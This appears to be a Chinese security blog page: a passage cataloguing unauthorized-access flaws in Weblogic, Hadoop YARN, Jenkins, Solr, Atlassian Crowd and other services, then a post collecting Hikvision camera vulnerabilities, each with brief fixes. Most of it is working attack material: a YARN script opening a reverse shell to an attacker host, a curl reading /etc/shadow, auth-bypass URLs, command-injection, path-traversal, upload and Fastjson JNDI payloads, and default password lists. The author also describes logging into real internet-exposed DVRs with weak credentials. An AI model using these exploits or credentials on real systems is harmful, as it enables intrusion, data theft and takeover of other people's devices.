192.168.100.1msf5>set lport 4444msf5>set srvhost 192.168.100.1msf5>set srvport 8080msf5>exploit漏洞修复● 对外关闭敏感端口;● 配置用户权限认证;Weblogic 未授权访问(7001)Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台。CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面:http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。HadoopYARN 未授权访问(8088)Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的MapReduce算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。此次事件主要因HadoopYARN资源管理系统配置不当,导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过RESTAPI部署任务来执行任意指令,最终完全控制服务器。没有配置身份认证,可以未授权访问到Hadoop YARN ResourceManager WebUI页面。1 http://192.168.126.130:8088/2 http://192.168.126.130:8088/clusterrce.py#!/usr/bin/env python import requests target = 'http://192.168.126.130:8088/' # 设置目标主机的ip地址 lhost = '192.168.126.128' # 设置你攻击主机的监听ip地址,并且监听端口为9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)kali机 nc -lcx 9999漏洞修复● 升级Hadoop到x版本以上,并启用Kerberos认证功能,禁止匿名访问;● 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口;● 如无必要,关闭 Hadoop Web 管理页面;Jenkins 未授权访问(8080)默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。直接通过url输入以下地址,若能访问,证明存在未授权访问漏洞。http://target:8080/managehttp://target:8080/scriptprintln 'whoami'.execute().text漏洞修复● 对后台控制页面做登录验证限制;● 升级Jenkins至新版本;● 禁止把Jenkins直接暴露在公网;Kubernetes Api Server 未授权(8080、10250)Kubernetes 的服务在正常启动后会开启两个端口:Localhost Port (默认8080)、Secure Port (默认6443)。这两个端口都是提供 Api Server 服务的,一个可以直接通过 Web 访问,另一个可以通过 kubectl 客户端进行调用。如果运维人员没有合理的配置验证和权限,那么攻击者就可以通过这两个接口去获取容器的权限。直接访问web端口查看数据漏洞修复● 进行授权认证;● 使用Service Account令牌;● 设置防火墙策略,限定IP访问服务;Active MQ 未授权访问(8161)ActiveMQ 是一款流行的开源消息服务器。默认情况下,ActiveMQ 服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。默认密码:admin/admin漏洞修复针对未授权访问,可修改conf/jetty.xml文件,bean id为securityConstraint下的authenticate修改值为true,重启服务即可。针对弱口令,可修改conf/jetty.xml文件,bean id 为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务即可。Jupyter Notebook 未授权访问(8888)Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。访问http://your-ip:8888,将看到Jupyter Notebook的Web管理界面,并没有要求填写密码。选择 new -> terminal 即可创建一个控制台:直接执行任意命令:漏洞修复● 开启身份验证,防止未经授权用户访问;● 访问控制策略,限制IP访问,绑定固定IP;Elasticsearch 未授权访问(9200、9300)Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析,启动此服务默认会开放9200端口或者9300端口,可被非法操作数据。浏览器访问测试命令http://localhost:9200http://localhost:9200/_cat/http://localhost:9200/_cat/indiceshttp://localhost:9200/_river/_search //查看数据库敏感信息http://localhost:9200/_nodes //查看节点数据如有安装head插件:http://localhost:9200/_plugin/head/ //web管理界面漏洞修复● 访问控制策略,限制IP访问,绑定固定IP;● 在config/elasticsearch.yml中为9200端口设置认证等;Zabbix 未授权访问(10051)zabbix是一款服务器监控软件,默认服务开放端口为10051,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。无需账户密码直接访问zabbix页面漏洞修复● 设置zabbix的复杂口令,不要用默认口令或弱口令,禁用guest登录功能;● zabbix的server和agent都不要以root启动,不要设置AllowRoot=1;● 禁止agent执行run,不要设置EnableRemoteCommands=1;RabbitMQ 未授权访问(15672、15692、25672)RabbitMQ是目前非常热门的一款消息中间件,基于AMQP协议的,可以在发布者和使用者之间交换异步消息。消息可以是人类可读的JSON,简单字符串或可以转换为JSON字符串的值列表。默认账号密码都是guesthttp://10.10.4.89:15672http://10.10.4.89:15692http://10.10.4.89:25672漏洞修复● 修改为强密码,删除默认的账号guest;● 禁止对外网开放,仅限于内部访问;NFS 未授权访问(2049、20048)Network File System(NFS),是由SUN公司研制的UNIX表示层协议(pressentation layer protocol),能使使用者访问网络上别处的文件就像在使用自己的计算机一样。服务器在启用nfs服务以后,由于nfs服务未限制对外访问,导致共享目录泄漏。linux安装nfs客户端apt install nfs-common查看nfs服务器上的共享目录showmount -e 192.168.126.130挂载相应共享目录到本地mount -t nfs 192.168.126.130:/grdata /mnt卸载目录umount /mnt漏洞修复● 利用iptables限制端口2049和20048端口的访问,禁止外部访问;● 设置/etc/exports,对访问进行控制;Dubbo 未授权访问(28096)Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。连接进入dubbo 服务,进行操作telent IP port漏洞修复● 配置dubbo认证;● 设置防火墙策略,限定IP访问;Druid 未授权访问Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控,首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问。直接在网站的url中后加上:1 /druid/index.html2 /druid/websession.html3 /druid/datasource.html4 /druid/sql.html5 /druid/spring.html如果可以无需登录,即可登录到Druid监控界面,则说明该网站存在Druid未授权访问漏洞漏洞修复● 配置访问账号密码;● 禁止对外网开放访问;Solr 未授权访问Solr是一个高性能,采用Java开发,基于Lucene的全文搜索服务器。solr的管理界面通常包含如下信息:solr的配置信息(包括路径,用户名,系统版本信息),数据库的配置信息(地址,用户名,密码),数据库搜索数据等。solr未授权访问的危害很大,轻则可查询所有数据库信息,重则可读取系统任意文件,甚至getshell。漏洞检测敏感目录扫描时加上一条 /solr/adminhttp://xx.xx.com/solr/adminhttps://xx.xx.com/solr/admin漏洞修复● 配置solr访问控制权限;● 禁止将solr暴露在公网;SpringBoot Actuator 未授权访问Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。漏洞检测1、直接访问相关路径:http://10.2.20.48/actuator/autoconfighttp://10.2.20.48 /actuator/envhttp://10.2.20.48/actuator/dumphttp://10.2.20.48/actuator/headdump可下载2、actuator未直接部署在IP根目录下使用burpsuite的插件:APIKit介绍:https://www.bilibili.com/read/cv15912732介绍:https://blog.csdn.net/qq_50854790/article/details/122894291漏洞修复● 禁用/env接口;● 升级到SpringBoot Actuator 2.0;● 禁止对外开放;SwaggerUI未授权访问漏洞Swagger 是一个规范且完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。1、可利用未授权访问漏洞,直接访问以下链接(目录遍历)/api/api-docs/api-docs/swagger.json/api.html/api/api-docs/api/apidocs/api/doc/api/swagger/api/swagger-ui/api/swagger-ui.html/api/swagger-ui.html//api/swagger-ui.json/api/swagger.json/api/swagger//api/swagger/ui/api/swagger/ui//api/swaggerui/api/swaggerui//api/v1//api/v1/api-docs/api/v1/apidocs/api/v1/swagger/api/v1/swagger-ui/api/v1/swagger-ui.html/api/v1/swagger-ui.json/api/v1/swagger.json/api/v1/swagger//api/v2/api/v2/api-docs/api/v2/apidocs/api/v2/swagger/api/v2/swagger-ui/api/v2/swagger-ui.html/api/v2/swagger-ui.json/api/v2/swagger.json/api/v2/swagger//api/v3/apidocs/apidocs/swagger.json/doc.html/docs//druid/index.html/graphql/libs/swaggerui/libs/swaggerui//spring-security-oauth-resource/swagger-ui.html/spring-security-rest/api/swagger-ui.html/sw/swagger-ui.html/swagger/swagger-resources/swagger-resources/configuration/security/swagger-resources/configuration/security//swagger-resources/configuration/ui/swagger-resources/configuration/ui//swagger-ui/swagger-ui.html/swagger-ui.html#/api-memory-controller/swagger-ui.html//swagger-ui.json/swagger-ui/swagger.json/swagger.json/swagger.yml/swagger//swagger/index.html/swagger/static/index.html/swagger/swagger-ui.html/swagger/ui//Swagger/ui/index/swagger/ui/index/swagger/v1/swagger.json/swagger/v2/swagger.json/template/swagger-ui.html/user/swagger-ui.html/user/swagger-ui.html//v1.x/swagger-ui.html/v1/api-docs/v1/swagger.json/v2/api-docs/v3/api-docs2、swagger-ui未直接部署在IP根目录下使用burpsuite的插件:APIKit介绍:https://www.bilibili.com/read/cv15912732介绍:https://blog.csdn.net/qq_50854790/article/details/122894291修复方法设置访问权限Harbor未授权添加管理员漏洞Harbor未授权添加任意管理员漏洞。攻击者可通过构造特定的字符串,在未授权的情况下直接创建管理员账号,从而接管Harbor镜像仓库。漏洞地址:http://10.101.20.111/harbor/sign-in成功添加用户,宝塔phpmyadmin未授权访问宝塔Linux面板7.4.2版本和Windows面板6.8版本存在phpmyadmin未授权访问漏洞phpmyadmin未鉴权,可通过特定地址直接登录数据库的漏洞。漏洞检测1、目录扫描:/pma 或者 /phpmyadmin2、漏洞URL:http://ip:888/pma即可直接登录(但要求必须安装了phpmyadmin)WordPress未授权访问漏洞漏洞复现可参考https://www.cnblogs.com/bflw/p/12342845.htmlAtlassian Crowd 未授权访问Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。漏洞利用脚本github地址:https://github.com/jas502n/CVE-2019-11580git clone https://github.com/jas502n/CVE-2019-11580cd CVE-2019-11580/python CVE-2019-11580.py http://192.168.18.138:8095curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow漏洞修复设置访问/crowd/admin/uploadplugin.action的源ip。升级最新版本(3.5.0以上)。
2023年06月23日
25 阅读
0 评论
0 点赞
2023-06-20
海康威视常见漏洞收集
1、海康威视系列产品默认口令海康威视综合安防管理平台 admin Abc123++ 海康威视群组对讲服务配置平台 admin 12345 海康威视联网网关 admin 12345 海康威视 流媒体 admin 12345 hikvision (ssh) admin 12345 Haivision Makito X Decoder (web) admin manager2、海康威视配置文件解码-CVE-2017-7921排查范围: 产品类型 影响版本 DS-2CD2x20(B/C/D)、DS-2CD3x20(B/C/D) V5.3.1 build150417-V5.4.23 build161020 DS-2CD3x10(C) V5.4.0 build160415-V5.4.4 build161105 DS-2CD4x2xFWD V5.2.0 build140721-V5.4.20 build160714 DS-2CD5x V5.3.2 build150515-V5.4.4 build161022 DS-2CD2xx5、DS-2CD3xx5 V5.3.1 build150410-V5.3.3 build150613 V5.3.5 build150906-V5.4.23 build161020 DS-2DEx、DS-2DFxV5.3.1 build150527-V5.4.4 build160927排查手段:查看系统所有存在用户列表http://ip/Security/users?auth=YWRtaW46MTEKYWRtaW46MTEKauth内容是admin:11的base64编码。获取系统监控快照,不需要进行身份验证。http://ip/onvif-http/snapshot?auth=YWRtaW46MTEK 下载摄像机配置文件,通过脚本解密配置文件获得账密信息。http://ip/System/configurationFile?auth=YWRtaW46MTEK解密命令python3 decrypt_configurationFile.py configurationFile github链接:https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor红框中的就是后台登陆的账号密码。 修复方式:目前海康威视官方已发布新版本修复该漏洞,请受影响用户尽快更新进行防护。下载链接 https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20170314/3、命令注入漏洞-CVE-2021-36260排查范围:易受攻击的网络摄像机固件。产品类型 影响版本 IPC_E0 IPC_E0_CN_STD_5.4.6_180112 IPC_E1 未知 IPC_E2 IPC_E2_EN_STD_5.5.52_180620 IPC_E4 未知 IPC_E6 IPCK_E6_EN_STD_5.5.100_200226 IPC_E7 IPCK_E7_EN_STD_5.5.120_200604 IPC_G3 IPC_G3_EN_STD_5.5.160_210416 IPC_G5 IPC_G5_EN_STD_5.5.113_210317 IPC_H1 IPC_H1_EN_STD_5.4.61_181204 IPC_H5 IPCP_H5_EN_STD_5.5.85_201120 IPC_H8 Factory installed firmware mid 2021 IPC_R2 IPC_R2_EN_STD_V5.4.81_180203排查手段:漏洞Poc:PUT /SDK/webLanguage HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 89 <?xml version="1.0" encoding="UTF-8"?><language>$(ifconfig -a > webLib/dd.asp)</language>成功执行命令。修复方式:目前海康威视官方已发布新版本修复该漏洞,请受影响用户尽快更新进行防护。下载链接: https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20210919/4、任意文件读取漏洞-CNVD-2021-14544排查范围:流媒体管理服务器 V2.3.5。排查手段:漏洞Poc:访问如下Url下载 system.ini文件。 http://xxx.xxx.xxx.xxx/systemLog/downFile.php?fileName=../../../../../../../../../../../../../../../windows/system.ini修复方式:对用户输入的参数进行校验;限定用户访问的文件范围;使用白名单;过滤…/;防止用户进行目录遍历;文件映射,存储和应用分离。5、任意文件上传漏洞排查范围:iVMS-8700综合安防排查手段:漏洞Poc: POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988 Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo Upgrade-Insecure-Requests: 1 Content-Length: 174 ------WebKitFormBoundaryGEJwiloiPo Content-Disposition: form-data; name="fileUploader";filename="1.jsp" Content-Type: image/jpeg test ------WebKitFormBoundaryGEJwiloiPotoken处的内容是:url+secretKeyIbuilding 的大写32位MD5值批量检测hunter:web.body="/views/home/file/installPackage.rar" github链接:https://github.com/sccmdaveli/hikvision-poc这里源地址脚本或许有点问题,手工验证没有一个存在的。后面小改了一下脚本,3个号1500分,硬是一个没跑出来,可能是洞出来太久都修了。修复方式:修改拼接方式,增加白名单校验。6、Fastjson远程命令执行漏洞排查范围:海康威视综合安防管理平台。排查手段:漏洞Poc: POST /bic/ssoService/v1/applyCT HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Connection: close Host: 127.0.0.1 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Dnt: 1 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Sec-Fetch-User: ?1 Te: trailers Content-Type: application/json Content-Length: 196 {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx.dnslog.cn","autoCommit":true},"hfe4zyyzldp":"="}复现这个漏洞的时候也是全网各种找案例,只可惜也是一个没找到,时间还花了一大把,只能用大佬现成的图顶一下。拿burp自带的dnslog探测。成功接收到回显。修复方式:目前厂商已发布升级补丁以修复漏洞。补丁获取链接: https://github.com/kekingcn/kkFileView/issues/304Sigmax DVR 摄像头这个是搜索摄像头资产的时候无意发现的,资产主要分布在美丽国。hunter:title="Sigmax DVR"80%资产都是弱口令admin/admin,随机从1页中挑3个登录。
2023年06月20日
568 阅读
4 评论
0 点赞
1
...
4
5
6